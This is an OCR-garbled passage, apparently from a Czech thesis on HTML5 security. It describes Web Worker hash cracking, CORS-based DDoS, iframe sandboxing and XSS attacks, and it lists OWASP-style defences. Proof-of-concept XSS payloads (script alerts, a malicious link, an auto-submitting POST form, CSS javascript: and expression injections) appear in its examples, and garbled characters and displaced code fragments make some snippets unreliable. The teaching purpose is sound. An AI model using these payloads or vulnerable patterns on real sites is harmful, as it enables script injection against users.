Jako priklad pro demonstraci schopnosti Web Workers jsou uvedeny nésledujici dva

mozné utoky.

- Cracking® hashe® pomoci JavaScriptu v cloudu — k prolomeni hashovani funkce je
mozné vyuzit skriptl napsanych v jazyce JavaScript. Zplsob prolamovéni v tomto
kontextu znamend pouziti itoku hrubou silou (,,brute force®), jehoz ukolem je
vyzkouset vSechny mozné kombinace hodnot ze kterych muze byt hash slozen a
porovnat kazdy takovy vystup oproti dané hash, dokud se nerovnaji. Handicapem
JavaScriptu je jeho relativné pomalejsi zpracovani oproti nativnimu kodu, nicméné
je stale pouzitelné. Dle [16] je mozné pomoci néj porovnat piiblizné 100.000 MD5
hashii za sekundu, coz je oproti nativnimu kodu asi 110 krat pomalejSi. Toto
zpomaleni muiZe byt kompenzovano rozdélenim prace JavaScriptového kodu
do nékolika webovych prohlize¢t. Naptiklad vyuzitim vypocetniho vykonu mnoha
webovych prohlizect v cloudu. Pro spusténi takového zpracovani je pak uz pouze
nutné, aby ucastnici utoku otevieli pfisluSnou webovou stranku ve webovém

prohlizeci a nechali JavaScriptovy Web Worker pracovat.

- DDoS utoky s HTML5 CORS a Web Workers — zpisob zahdjeni DDoS tutoku
pomoci CORS byl popsan v kapitole 2.1.2 scéndfem hrozby Vzdalené tutoky
na webovy server. Nicméné zasilani velkého mnozstvi CORS Zadosti na stejnou

adresu neni mozné, pokud hlavicka odpovédi webového serveru neobsahuje

22 Cracking — metoda na odstrafiovani bezpe&nostnich ochrannych prvki proprietarniho softwaru.
% Hash — neboli také hashovani funkce je jednosmérnd matematicka funkce (algoritmus) pro pfevod
vstupnich dat do malého cisla.
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direktivu Access-Control-Allow-Origin. Diky tomu ani webovy prohlize¢ nebude
posilat zddné dalsi pozadavky na tuto URL adresu. Danou restrikci je mozné obejit
pravé pouzitim CORS v kombinaci s Web Workers: Kazda CORS Zadost bude
vytvofena jako jedine¢nd a ménéna s kazdou dalSi zadosti, vlozenim nahodného
fiktivniho fetézce do URL adresy. Pouzitim této techniky je mozné jednim
prohlizeCem poslat na server okolo 10.000 zadosti za sekundu. Umisténim
takového utocného kodu na Casto navstévované webové stranky mize mit vazné

nezadouci Gcinky pro domény obéti takového DDoS tutoku.

2.7.2 Iframe Sandboxing

HTMLS zavadi pro prvek iframe novy atribut Sandbox [17]. Tento atribut umoznuje
omezit prava ramce tim, Zze vlozenému obsahu pfidéli minimdlni opravnéni stale jesté
postacujici ke spravné funkci. Pro pln€ sandboxovany ramec se iframu piidéli prazdny
atribut sandbox:

1 <iframe sandbox src=%“..“>
1
! </iframe>

Kromé& toho Ize také iframu s atributem sandbox sdélit, Ze je mozné konkretizovana
omezeni zru$it, kromé omezeni plugind, ty v sandboxech nikdy spustit nepijdou. Jedna se

zejména o allow-scripts (povoli spousténi JavaScriptu s automaticky spousténymi

JOA)

vlastnostmi), allow-forms (povoli odesilani formulait), allow-same-origin (povoli

dokumentu zachovat jeho ptivod), allow-popups (povoli vyskakovaci okna) a dalsi.
<iframe sandbox=“allow-same-origin allow-scripts allow-forms"“
src="“https://test-server/sandoboxing.html™ style=“width:150px;
height:100px; border: 0;%>
</iframe>

Problematickym bodem v tomto pfipadé zlistava, Ze si tento atribut nebude rozumét se
star§Simi verzemi webovych prohlizecl, coZz mlze mit za nasledek jejich neocekavané
chovani. Takze ptfenaSet odpovédnost za bezpecnost pouze na atribut sandbox je
nezodpovédné. Z hlediska bezpecnosti by mél byt pouzit jen jako dalsi vrstva, nikoliv jako
jedind forma ochrany. Kazdopadné pted pouzitim iframu s atributem sandbox je nutné

ov¢tit, zdali je ze strany pouzitého webového prohlizece podporovan ¢i nikoliv.


https://test-server/sandoboxing.html
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Dle doporuceni [6] je pro element iframe s atributem sandbox duilezité:
- Pouzit ho vzdy pro jakykoliv nediivéryhodny obsah.

- Vzhledem k tomu, ze umoziuje omezit obsah iframu, jsou nasledujici omezeni,

Vv ptipad¢ nastaveni tohoto atributu, aktivni:

1. VSechny znacky jsou povazovany jako by byly z origindlniho zdroje —

dokument nebude mit zadny pfistup k datim vdzanym na doménu.

2. VSechny formuléafe a skripty jsou zakazédny — formuléife nebude mozné
odeslat a skripty spustit, které¢ se netykaji jen znacky script, ale také inline

handleri a URL typu javascript.

3. VsSechny odkazy mohou navigovat obsah pouze samy na sebe — napf.
zavolani windows.top.location vyvold vyjimku a kliknuti na odkaz

target="_top‘ nebude mit Zadnou ucinnost.

4. VsSechny automaticky spousténé funkce jsou blokovany — napf. automatické

spousténi audia nebo videa, nebo autofokus formularovych poli ad.

5. VSechny pluginy jsou zakazany — nebudou nahrany.

2.7.3 Server-sent Events

Server-sent Events, neboli serverem zasilané udalosti piedstavuji dal$i moZznost
komunikace mezi serverem a klientem, a to pomoci jednosmérného kanalu HTTP
protokolu na pozadi ve sméru ze serveru ke klientovi. Prostfednictvim tohoto kanalu mtize
server odesilat data ke klientovi a poskytovat mu informace, kdykoliv budou k dispozici.
Kromé& Web Sockets je toto dalsi vlastnost HTMLS, kterd mize byt pouZita pro Gtoky typu
Vzddleny shell a Botnet, tak jak je popsano v kapitole 2.3.2. Nicméné Server-sent Events
jsou ohledné moZnosti komunikace omezen¢jSi nez Web Sockets, jelikoZ jsou pouze
jednosmérné. Jejich vyhodou je, Ze pro komunikaci nepotiebuji vytvaret novy protokol, tak

jako u Web Sockets, ale vyuzivaji sou¢asného HTTP protokolu.
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3 APLIKACE DEMONSTRUJICI UTOKY NA ZRANITELNOSTI
TECHNOLOGIE HTML5

V pribéhu vyvoje webovych aplikaci je, kromé ndvrhu architektury a samotného
kodovani, také dulezité se zabyvat problematikou bezpecnosti a s ni souvisejicich otazek
uniku citlivych dat, spravné funkcCnosti a stability aplikace =z hlediska prianiku

neopravnénych osob a dalsich.

Kli¢ovou ulohu v detekci zranitelnosti webovych aplikaci hraje ptedchozi znalost dané
problematiky. Dilezity je tedy nejen proces uceni a pochopeni dané problematicky
Vv teoretické roviné, ale také zejména v rovin€ praktickych piikladi. Proto je nutné
navrhnout aplikaci, kterd bude demonstrovat nejznaméjsi a nejpouzivanéjsi typy utokii
aplikované uto¢nikem, cilené na zranitelnosti k tomu uzptsobenym webovym strankdm a
ukazujicim zplsoby vedeni utoki. Také je dilezité ukézat mista, kterd jsou diky takovym

utoklim nutna zabezpecit nebo se jich vyvarovat.

3.1 Navrh stranek obsahujici zranitelnosti s typy utoki

Zakladnim pozadavkem pro ndvrh webové aplikace demonstrujici aplikacni bezpecnost
technologie HTMLS je, Ze musi umoZznovat testovani zranitelnosti webového prohlizece
ve vztahu s nastavenou zranitelnosti jednotlivych webovych stranek napsanych pomoci
této technologie. Tato podminka je diilezita, jelikoZ aby mohlo dojit k jakémukoliv testu, je
nutné pouzivat webové prohlizece v jejich nejnovéjsich verzich. Je to jeden z hlavnich
pozadavkl podpory pro implementaci specifikaci technologie HTMLS, nikoliv dostacujici,
jelikoz tato podminka nezarucuje, Ze stranky psané pomoci technologie HTML5 budou
Vv téchto prohliZzecich korektné zobrazovany a Ze budou pracovat tak jak by méli. Zafnym
ptikladem je Internet Explorer spolecnosti Microsoft, ktery i v soucasné nejnoveéjsi verzi
vétsinu prvki této technologie neumi nejen zobrazit, ale ani s nimi dale pracovat. Z toho
divodi je dulezité pro implementaci webové aplikace zvolit navic 1 skripty tfetich stran,

které tyto neduhy daného prohlizece umi opravit a spravné vykreslit.

3.1.1 Cross Site Scripting — XSS

Cross-Site Scripting neboli XSS je jedna z viilbec nejstarSich a v soucasné dobé¢ stale
nejroz§itenéjSich a nejpouzivanéjSich zranitelnosti webovych aplikaci. S pfichodem

technologie HTMLS, kdy se vétSina skripti vykondva na strané klienta pomoci JavaScriptu

wewr
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jsou Skodlivé skripty injektovany (vstiikovany) do jinak neskodnych a divéryhodnych
webovych stranek. Moznosti jak dosdhnout spusténi skriptu v obsahu stranky webového
prohlize¢e ma uto¢nik celou fadu. V prvé fadé XSS je Gtokem proti uzivatelim webové
aplikace, resp. proti jejich webovym prohlizectim, které Skodlivy kéd spusti a vykonaji,

nikoliv proti webovému serveru.

Utoénik miize vyuzit XSS zranitelnosti k zaslani $kodlivého skriptu nic netudicimu
uzivateli, jelikoz uzivatelim webovy prohlize¢ nemé zddnou moznost jak zjistit, Ze tento
skript je nedivéryhodny a proto by ho nem¢l spustit. Vzhledem k tomu, ze si mysli, ze
skript pfisel z divéryhodného zdroje, nema Zzadny divod mu zabranit v piistupu
ke cookies, session tokenim nebo dalSim citlivym udajim uchovavanym ve webovém
prohliZe¢i pro pouziti v dané strance. Tyto skripty dokonce mohou piepsat obsah HTML
stranky.

Perzistentni XSS

Perzistentni neboli trvaly itok XSS je takovy, u které¢ho je nutné ulozit JavaScriptovy
kéd na webovy server tak, aby se nasledné tento Skodlivy kéd mohl byt nacten vzdy
spolecné s infikovanou zobrazovanou webovou strankou. Tento typ utoku neslouzi
pro napadeni kodiu webové aplikace ulozenych na webovém serveru, resp. jeho
jednotlivych soubord, ale slouzi k ukladani Skodlivych skripti do datového ulozisté dané
webové aplikace. Webova aplikace poté pfi zobrazeni webové stranky tyto skripty
z datového ulozisté precte a vrati je zakomponované v obsahu HTML stranky.
NejcastéjSim pouzitim perzistentniho XSS utoku je vSude tam, kde existuje moznost
uzivatelského trvalého ulozeni pfispévku na datové ulozist¢ webového serveru, jako jsou
napiiklad komentafe pod clankem nebo v obrazové galerii pod jednotlivymi

zobrazovanymi obrazky, v diskusnich férech a dalSich.

Pro pochopeni principu utoku je nejlepsi pouzit navrh piikladu, na kterém je mozné
jednotlivé €asti demonstrovat. Naptiklad vlozeni Skodlivého skriptu do ptispévku knihy
navstév s neoSetfenymi uzivatelskymi vstupy, kdy se pfispévek vklada presné ve tvaru,
Vv jakém jej tam uzivatel vlozil. Zdrojovy kod vygenerované stranky knihy navstév by mohl

vypadat nasledovné:
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<!DOCTYPE html>
<html lang="cs"><head><meta charset="utf-8"><title>Kniha
navstév</title></head>
<body>
<h2>Kniha navstév</h2>
<form name="frm" method="post">
<table>
<tr>
<td>Titulek:</td>
<td><input type="text" name="titulek"></td>
</tr>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno"></td>
</tr>
<tr>
<td>Zprava:</td>

<td><textarea name="titulek" rows="5" cols="26"></textarea></td>

</tr>
<tr>
<td>&nbsp;</td>
<td><input type="submit" value="Odeslat"></td>
</tr>
</table>
</form>
<hr>

Datum: 28.3.2013 <b>Pochvala</b> Jméno: <b>Pepa</b><br>Zprava: P&kné

stranky<br>
<br>
Datum: 26.3.2013 <b>Re: Pochvala</b> Jméno: <b>Honza</b><br>Zprava:
se.<br>
</body>
</html>

Vlozenim Skodlivého kddu do mista pro text zpravy, kterym je mozné zjistit, zdali bude

utok proveditelny, postaci jediny piikaz s metodou alert objektu window.

Po zpracovani a nasledném nacteni webové stranky s knihou navstév bude jeji HTML

kod vypadat nasledovné:
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| <IDOCTYPE html>

| <html lang="cs"><head><meta charset="utf-8"><title>Kniha

| navstév</title></head>

| <body>

i <h2>Kniha navstév</h2>

! <form name="frm" method="post">

' <table>

' <tr>

| <td>Titulek:</td>

i <td><input type="text" name="titulek"></td>

! </tr>

' <tr>

| <td>Jméno:</td>

i <td><input type="text" name="jmeno"></td>

! </tr>

' <tr>

| <td>Zprava:</td>

i <td><textarea name="titulek" rows="5" cols="26"></textarea></td>
! </tr>

' <tr>

' <td>&nbsp;</td>

i <td><input type="submit" value="Odeslat"></td>

! </tr>

! </table>

' </form>

. <hr>

i Datum: 30.3.2013 <b>Utok XSS</b> Jméno:

' <b>Utoénik</b><br><script>alert('XSS');</script><br>

| Datum: 28.3.2013 <b>Re: Pochvala</b> Jméno: <b>Honza</b><br>Zprava: Ptidavam
| se..<br>

i <br>

! Datum: 26.3.2013 <b>Pochvala</b> Jméno: <b>Pepa</b><br>Zpréava: P&kné

| stréanky<br>

| <hr>

i </body>

! </html>

1
1

Z vySe uvedené ukazky vyplyva, ze webovy prohlize¢ v podstaté¢ nema Zadnou Sanci zjistit,
zda je nacteny JavaScriptovy kod Skodlivy ¢i nikoliv. O toto se musi postarat vyvojar
webové aplikace oSetfenim jak vstupnich, napf. pomoci whitelistu, tak hlavné vystupnich
znakli pomoci funkci. Z hlediska webovych prohlizecli by se s problematikou XSS utoki

mohla vypoiadat funkcionalita bezpe¢nostnich politik Content Security Policy.

Pomoci perzistentnich XSS utokii mize Gto¢nik dosdhnout mnoha riznych vysledki jako
je kradez session, kradeZ identity obéti, zména obsahu webové stranky, pfesmérovani
uzivatell, pfi zobrazovani nejvyhledavangjSich textovych fetézci u vyhledavacich
funkcionalit webovych aplikaci a mnoho dalSich. Stac¢i jen pfedstavivost, zdmér a cil

atoku.
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Neperzistentni XSS

Mnohem castéj$im typem XSS utokl nez perzistentni jsou non-perzistentni neboli doCasné
ttoky. Skodlivy kod se také vklada do obsahu webové stranky, ale nikoliv ke stalému
uchovani v databazi ¢i jiném datovém tlozisti. Webovému serveru je nutné ho predavat
spolu s kazdym pozadavkem pro zaslani obsahu webové stranky. Ten skript jednorazoveé

zahrne do obsahu HTML stranky a vrati k zobrazeni webovému prohlizeci, ktery ho spusti.

Podle toho, jakym zpiisobem se skripty béhem non-perzistentniho XSS dostanou
od uzivatele na server, se proménné HTTP déli na pozadavky odesilané pomoci metody
GET nebo metody POST. Pozadavky metody GET jsou predavany jako soucast URI, a to
bud’ pfi ptimém zapisu URL adresy nebo napiiklad kliknutim na odkaz vytvoteny HTML
tagem <a href...>. Oblast proménnych je od samotné URL adresy oddélena znakem ?
(otaznik) a jednotlivé proménné jsou od sebe oddélené znakem & (ampersand). Naptiklad

URI adresy vyhleddvace domény seznam.cz:

Pomoci metody GET je tedy mozné pfedat v jakékoliv ¢asti hodnoty proménné také skript,
kterym je mozné provést utok. Staci jen obéti podstrcit upraveny URI odkaz. NeoSetfené
nebo Spatné oSetfené webové aplikace totiZz zacleiiuji proménné obdrzené z URI piimo
do vlastniho obsahu HTML stranky, ¢imz umoznuji uto¢nikiim provést injektaz Skodlivych

skriptd. Prikladem muze byt nasledujici URI:

| NaSel jsem ti vyborny vyhledavaci nédstroj, <a href="http://nejaky-
| server/hledej.aspx?hledej=<script>alert('XSS') ;</script>">klikni sem</a>

PoZadavky metody POST jsou na rozdil od metody GET pfedavany v samotném tcle
HTTP protokolu. Jelikoz nelze uzivatelovi podstréit jednoduchy odkaz jak v ptipadé
metody GET, je potfeba ho pfesmérovat pies jinou webovou stranku, ktera se o odeslani
tohoto POST pozadavku s nastavenymi proménnymi sama postara. Pfesmérovani muze
probéhnout naptiklad na strané uzivatele tim, Zze do hlavicky pfesmérovavaci stranky se
prida meta tag <meta http-equiv="refresh" content="0;url=http://server-se-skrytymi-post-
daty">, ktery danou stranku pfesmeéruje, diky nastavenym Os, okamzité na pozadovany
server nebo na strané serveru tfeba pouzitim souboru .htaccess. Ptiklad automatického

odeslani POST pozadavku s pfesmérovanim miize vypadat napiiklad takto:
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<!DOCTYPE html>
<html lang="cs">
<head>
<meta charset="utf-8">
</head>
<body>

</form>
<script>frm.submit ();</script>
</body>
</html>

DOM based XSS

DOM-based XSS vychazi z ptedchozich popisovanych typti XSS zranitelnosti s tim
rozdilem, Ze k vlozeni hodnot parametrii dojde az ve webovém prohlizec¢i. Nasledujici kod
demonstruje piedani dat v URI metodou GET z formulafe, nalezeni pozice parametru
vV URI a pfeCteni jeji hodnoty snéslednym vloZenim do obsahu stranky. Vzhledem

K neosetfenym vstupnim datiim, je mozné vlozit do pole pro zadani textu i testovaci skript,

ktery bude taktéz proveden.

<!DOCTYPE html>

<html lang="cs"><head><meta charset="utf-8"><title>DOM-based

XSs</title></head>
<body>
<script>

var url = window.location.href;

var pozice = url.indexOf ("retezec=")+8;

var delka = url.length;

if (pozice == 5)
var retezec = "Zatim nezadan";

var retezec = url.substring(pozice,delka);

document.write ("Zadany text je: " + unescape (retezec));

</script>

<h2>DOM-based XSS - test stranky</h2><hr>

<form method="get">Zadej libovolny text:
<input type="text" name="retezec">
<input type="submit" value="Odeslat">

</form>

</body>
</html>

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
' else
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

Tento typ zranitelnosti se také pouZzivd na Cteni a zobrazovani obsahu cookies pomoci
JavaScriptu, zobrazeni verze operacniho systému nebo webového prohlizece. Zneuziti
DOM-base XSS zranitelnosti je pomérn¢ slozitéjsi zalezitosti, jelikoz se utocnikovi

nejdiive musi podafit podvrhnout potiebné hodnoty na stran¢ napadeného uzivatele.

<input type="hidden" name="heslo" value="abcdefg">

<form name="frm" method="post" action="http://pozadovany-server/login.aspx">
<input type="hidden" name="jmeno" value="<script>alert('XSS') ;</script>">
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Dals8i moznosti tohoto typu zranitelnosti je pouziti ve formé tzv. zalozek, které se v HTML
odkazech nachazeji za znakem miizka #. Na pouziti tohoto znaku v URI adrese je

zajimavé, ze obsah za nim uvedeny se nepfendsi na server. Prikladem je nésledujici URI:

Obrana proti XSS utokiim

Nasledujici pravidla dle [18] jsou uréena k zabranéni, pokud ne vSem, tak vétSiné XSS
zranitelnosti pouzitych ve webové aplikaci. Tato pravidla sice neumoziuji mit absolutni
svobodu nad psanim kédu v HTML dokumentech, ale zato pokryvaji drtivou vétSinu
standardnich pfipadi. Pro pokryti zakladnich bezpecnostnich opatfeni dostacuje pouziti

prvnich dvou pravidel.

Velmi dulezité je také nepouzivani jednoduchych neutralizacnich seznamii znaki
stanovenych riznymi pravidly. Pouziti takovych seznamt, oznacenych téz jako Blacklist,
je pro uceleny systém bezpecnostnich opatfeni proti XSS utokim kratkozraké a
nedostate¢né. Proto je také dulezit¢ do tohoto bezpecnostniho mechanismu zahrnout
stanoveni a pouzivani pravidel oznacenych jako Whitelist, navrzenych tak, aby
poskytovaly ochranu 1 proti budoucim moznym zranitelnostem, kterd mohou se

zavedenymi zménami specifikaci webovych prohlizect nastat.
Pravidlo ¢. 0 - Nikdy nevkladat nediveéryhodna data s vyjimkou povolenych umisténi

Nultym pravidlem je zakadzat vSechno — nepouZzivat nedivéryhodna data v HTML
dokumentech, ktera jsou definovana byt i jen v jednom z pravidel 1 az 5. Divodem
pro toto pravidlo je, Ze v HTML existuje pfili§ mnoho zvlastnich souvislosti, jejichz
vyhodnoceni by pouzitim seznaml zakdzanych znakl bylo velmi komplikované. Neni
mozné si ani v dobré vife myslet, ze pouzitim nedivéryhodnych dat v HTML dokumentech
se nic vazného nestane. Nedivéryhodnymi daty jsou mysleny tzv. vnofené obsahy, jako
napiiklad URL adresa uvniti tagu script, kde vytvofeni pravidel pro takova umisténi kodu
jsou sloZitd a nebezpecnd a dal$i. Nasledujici seznam ukazuje jakym konstrukcim nikdy

neduvétfovat.
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Cemukoliv mezi <script> ..zde.. </script>
mezi znackami HTML komentafua <!-- ..zde.. -->
ve jménech atributd <div ..zde..=test />

ve jménech tagu <..zde.. href="test" />

Pravidlo ¢. 1 — Neutralizace HTML znakt pied vlozenim nedaveéryhodnych dat do obsahu

HTML prvka

Toto pravidlo je stanoveno pro piipad vlozeni nedivéryhodnych dat kamkoliv do téla
HTML dokumentu. Tyka se to vétSiny tagli jakymi jsou div, p, b, tr, td a dalSich. VétSina
webovych béhovych prostiedi (frameworktll) jiz md metody pro neutralizaci HTML znaki
uvedenych nize. Nicméné pro jednotlivé obsahy HTML dokumenty jsou nedostacujici.

Proto je dilezité provadét i dalsi pravidla.

<body> ... neutralizace nedtivéryhodnych dat pfed provedenim ... </body>

1
1
<div> ... neutralizace nediivéryhodnych dat pfed provedenim ... </div> i
... amnoho dalsich |

1

Neutralizace nedivéryhodnych znakd se provadi bud’ vlozenim znaku \ nebo pfevedenim

do znakovych HTML entit.

1

I & D samp; < 2 &lt; > 2> &gt; " > gquot; '

1

v > &#x27; &apos; neni doporucen, jelikoz se nenachazi ve specifikaci HTML i

i / > &#x2F; dopfedné lomitko se pouziva jako pomoc s ukon¢enim HTML entit :
1

Pravidlo ¢. 2 — Neutralizace atributii pred vlozenim nedivéryhodnych dat do HTML

hodnotami obecnych atributi

Toto pravidlo je pro zavadéni nedivéryhodnych dat do obvyklych hodnot atributl jako
jsou value, name, width, height a dal§ich. Rozhodné& by se nemélo pouZivat pro komplexni
atributy, jakymi jsou href, src, style nebo pro obsluzné udalosti jako onmouseover.
Je velmi dulezité, aby se atributy obsluznych udalosti fidily pravidlem &islo 3 pro HTML
hodnoty dat JavaScriptu.

1 1
! <div attr= ... neutralizace nedtivéryhodnych dat pfed provedenim ... >obsah</div> !
| <div attr=' ...neutralizace nediivéryhodnych dat pfed provedenim ... '>obsah</div> i
1

| <div attr=" ... neutralizace nedivéryhodnych dat pfed provedenim ... ">obsah</div> |
1 1

Pravidlo ¢. 3 — Neutralizace JavaScriptovych koda pred vlozenim nedavéryhodnych dat

do hodnot JavaScriptovymi daty.
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Toto pravidlo se tyka obav z dynamicky generovanych JavaScriptovych koda — jak celych
blokt tagh script, tak i atributl obsluznych udalosti. Jedinym bezpe¢nym mistem

pro zavedeni nedtivéryhodnych dat do kodu je uvnitt citaci "hodnoty dat™.

i <script>alert (' ... neutralizace nedivéryhodnych dat pted provedenim ... ')</script> i
| <script>x=' ... neutralizace nedliivéryhodnych dat pfed provedenim ... '</script> !
i <div onmouseover="x=' ... neutralizace nedivéryhodnych dat pfed provedenim ... i
i 'v>obsah</div> !

Pravidlo ¢. 4 — Neutralizace CSS a striktni ovéteni pied vlozenim nedivéryhodnych dat

do HTML hodnotami vlastnosti stylu.

Toto pravidlo stanovuje podminky zavadéni nediveéryhodnych dat do styld Sablon nebo
tagl. Kaskadové styly jsou piekvapivé silnou technologii a diky tomu mohou byt zneuzity
k Cetnym typiim utokd. A proto je dulezité pouzivat neduvéryhodna dat jen v hodnotach

vlastnosti a ne v datech na jinych mistech styla.

1
| <style>selector { property : ...neutralizace nediv. dat pfed provedenim ...; } </style> '
1 . . . B - 1
! <style>selector { property : "...neutralizace nediv. dat pted provedenim ..."; } </style> !
1 . o 4 r
! <span style="property : ... neutralizace nedtv. dat pfed provedenim ...">text </style> i

Dale je také dileZité oSetfit nekteré obsahy CSS, které nikdy nesmi nebezpecna data pouzit

jako bezpecny vstup.

{ background-url : "javascript:alert ('XSS')"; }
{ text-size : "expression(alert('XS3S'))"; }

Pravidlo ¢. 5 — Neutralizace URL pfed vlozenim nedtvéryhodnych dat do URL HTML

hodnotami parametr.

Toto pravidlo stanovuje podminky pro zavedeni nedivéryhodnych dat do URL HTML

hodnotami parametru GET.

____________________________________________________________________________________

<a href="http://nejaky-server/test= ... neutr. nediv. dat ptfed provedenim ...

">odkaz</a>

Obrana proti DOM based XSS utokiim

Nasledujici pravidla dle [19] jsou uréena k zabranéni utoktiim typu DOM-based XSS a jsou

rozsifenim piedchozi kapitoly 3.1.4 s ndzvem Obrana proti XSS utoklim.

Pravidlo ¢. 1 — Neutralizace HTML a JavaScriptu pfed vlozenim nedtvéryhodnych dat

do subcontextu obsahu HTML souvisejicich s jejich spusténim.


http://nejaky-server/test=%20…%20neutr.%20nedův.%20dat%20před%20provedením%20…
http://nejaky-server/test=%20…%20neutr.%20nedův.%20dat%20před%20provedením%20…
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Existuje n¢kolik metod a vlastnosti, které mohou byt pouzity k pfimému poskytnuti HTML
obsahu JavaScriptem. Tyto metody ptedstavuji HTML subcontext v souvislosti se
spusténim. Pokud jsou ovSem tyto metody opatifeny nedivéryhodnymi vstupy, potom muze

dojit k XSS zranitelnostem.

Ptiklady nebezpecnych HTML metod

Atributy
1
! element.innerHTML = "<HTML> tagy a znacky"; '
| element.outerHTML = "<HTML> tagy a znadky"; i
Metody

___________________________________________________________________________________

| document.write ("<HTML> tagy a znacky"); |

1
| document.writeln ("<HTML> tagy a znacky"); !
1 1

Obecné zasady — K vytvoreni dynamické aktualizace HTML pro bezpeény DOM je
doporuceno vsechny nedivéryhodné vstupy nejdiive kodovat HTML a poté kodovat

JavaScriptem, jako v nasledujicim piikladu:

element.innerHTML="<%=Encoder.encodeForJS (Encoder.encodeForHTML (neduvData) ) %>

"o,
’

element.outerHTML="<%=Encoder.encodeForJS (Encoder.encodeForHTML (neduvData) ) $>

___________________________________________________________________________________

Pravidlo ¢. 2 - Neutralizace JavaScriptu pfed vloZzenim nedlivéryhodnych dat

do subcontextu vlastnosti HTML souvisejicich s jejich spusténim.

HTML atribut *subcontext* v souvislosti s *execution* je odliSny od standardnich
pravidel kodovani, protoze pravidlo pro kodovani HTML vlastnosti je nezbytné, pfi
poskytovani obsahu HTML vlastnosti, pro zmirnéni Gtoki. Tyto vlastnosti se pokousi bud’

ukoncit, nebo se snazi pridat dalsi vlastnosti, které by mohly vést k XSS zranitelnostem.
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Bezpecny, ale funkéné nespravny priklad

____________________________________________________________________________________

var x = document.createElement ("input") ; :
x.setAttribute ("name", "jmenoFirmy");
/I v nasledujicim tadku kodu reprezentuje jmenoFirmy nedtivéryhodny uZzivatelsky vstup \
/! Encoder.encodeForHTMLALtr() je zbytecny a zptisobuje zbyte¢né zdvojené kddovani E
x.setAttribute ("value", '
'<%Encoder.encodeForJS (Encoder.encodeForHTMLAttr (jmenoFirmy) ) %> ') ; '
var frm = document.forms[0]; |
frm.appendChild (x) ; i
1

var x = document.createElement ("input");
x.setAttribute ("name", "jmenoFirmy") ;

var frm = document.forms[0];

1
1
1
|
' x.setAttribute ("value", '<%Encoder.encodeForJS (jmenoFirmy)%>");
|
i frm.appendChild (x) ;

1

Pravidlo €. 3 — Byt opatrny, kdyz se vkladaji nediivéryhodna data do subcontextu

obsluznych udélosti a javascriptového kddu souvisejicich s jejich spusténim.

Zavedenim dynamickych dat v JavaScriptovém kdédu je obzvlasté nebezpecné, protoze
JavaScriptové kodovani ma jinou sémantiku pro kodovana JavaScriptova data ve srovnani
s jinymi kédovanimi. V mnoha ptipadech JavaScriptové kodovani nezastavi utoky v ramci
souvislosti se spousténim. Naptiklad JavaScriptem kddovany fetézec bude spustén

pokazdé, kdyZ dojde k JavaScriptovému kodovani.

i var x = document.createElement ("a"); i
! x.href="#"; '
i 1/ v nasledujicim fadku kodu jsou kddovana data na pravé strané (druhy argument metody setAttribute) |
! . 4 ~r o v 7 . 4 ~ 7 v r 4 13 13 /4 !
' // jedna se o ptiklad s nediivéryhodnymi daty, které byly fadné kodovany javascriptem, ale stale se !
| provadi :
i X.setAttribute ("onclick", i
! "\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029") ; !
| var y = document.createTextNode ("Klikni k provedeni testu");

: |
1 1
1 1

x.appendChild (y) ;

Metoda setAttribute(name_string, value string) je nebezpecnd, jelikoz implicitné nastavi
hodnotu value string do datového typu DOM vlastnosti name_string. Alternativou
k nastaveni DOM vlastnosti pouzitim element.setAttribute(...) je nastavit tuto vlastnost
pfimo. Pfimym nastavenim vlastnosti obsluzné udélosti umozni kédovanim JavaScriptem

opétovné zmirnéni DOM-based XSS zranitelnosti.
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<a id="xy" href="#">Testuj</a> '
/INésledujici nebude fungovat, jelikoz obsluzna udalost je nastavena na fetézec. "alert("XSS")" je kodovan i
JavaScriptem !
document.getElementById ("xy") .onclick = '
"\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029"; |
//Nasledujici nebude fungovat, jelikoz obsluzna udalost je nastavena na fetézec i
document.getElementById ("xy") .onmouseover = "Testuj";
[/INasledujici nebude fungovat, jelikoz jsou koédovany zavorky "(" a™)". "alert("XSS")" je kédovan JavaScriptem '
document.getElementById ("xy") .onmouseover = :
\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029; |
/INasledujici nebude fungovat, jelikoZ je kodovan strednik ";". "Testuj;Testuj" je kodovan JavaScriptem i
document.getElementById ("xy") .onmouseover = '
\u0054\u0065\u0073\u0074\u0075\u006a\u003b\u0054\u0065\u0073\u0074\u0075\u006a
1
H 1
1

Pravidlo €. 4 — Neutralizace JavaScriptového kodu pied vloZenim nediivéryhodnych dat

do subcontextu vlastnosti CSS souvisejicich s jejich spusténim.

V souvislosti se spusténim bézného JavaScriptového kodu v CSS je vyzadovano bud
pfevedeni javascript:attackCode() na CSS metodu url() nebo zavoldni CSS metody

expression() prevad¢jici JavaScriptovy kod na pifimé spusteni.

document.body.style.backgroundImage =

"url (<%=Encoder.encodeForJS (Encoder.encodeForURL (jmenoFirmy) ) $>)";

Pravidlo ¢. 5 — Neutralizace URL a JavaScriptového kodu pied vlozenim nedtivéryhodnych

dat do subcontextu vlastnosti CSS souvisejicich s jejich spusténim.

Logika, kterou se rozdéluji URL adresy, vypada v obou provadénych a vykreslovanych
souvislostech, jako by byly stejné. Proto je v pravidlech pro kdédovani URL vlastnosti

souvisejicich se spuSténim jen mal4 zména.

| var pomX = document.createElement ("a");

| pomX.setAttribute ("href",

i '<%Encoder.encodeForJS (Encoder.encodeForURL (uzivatelovaRelativniCesta) ) %>");
| var pomY = document.createTextElement ("Klikni pro provedeni testu");

| pomX.appendChild (pomY) ;

| document .body.appendChild (pomX) ;

1

1

XSS souvisejici s HTMLS tagy, vlastnostmi a uddlostmi

HTMLS bylo rozsifeno o nové znacky umoziujici naptiklad dynamické nahravani audia a
videa. Tyto znacky maji nékteré zajimavé vlastnosti, jako naptiklad poster, onerror,
formaction, oninput a dalsi. VSechny tyto vlastnosti umoznuji spusténi JavaScriptu, coz
ihned vede k myslence, ze mohou byt zneuzity jak pro utoky metodou Cross Site Scripting

(XSS), tak i pro CSRF. Proto pfi pouziti t€chto novych tagt, atributi a udalosti je potieba
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byt pfi navrhu a implementaci velmi opatrny. Z tohoto divodu je vyvstava potieba
ptekonfigurace webového aplikacniho firewallu (WAF), aby neumoznoval na tagach
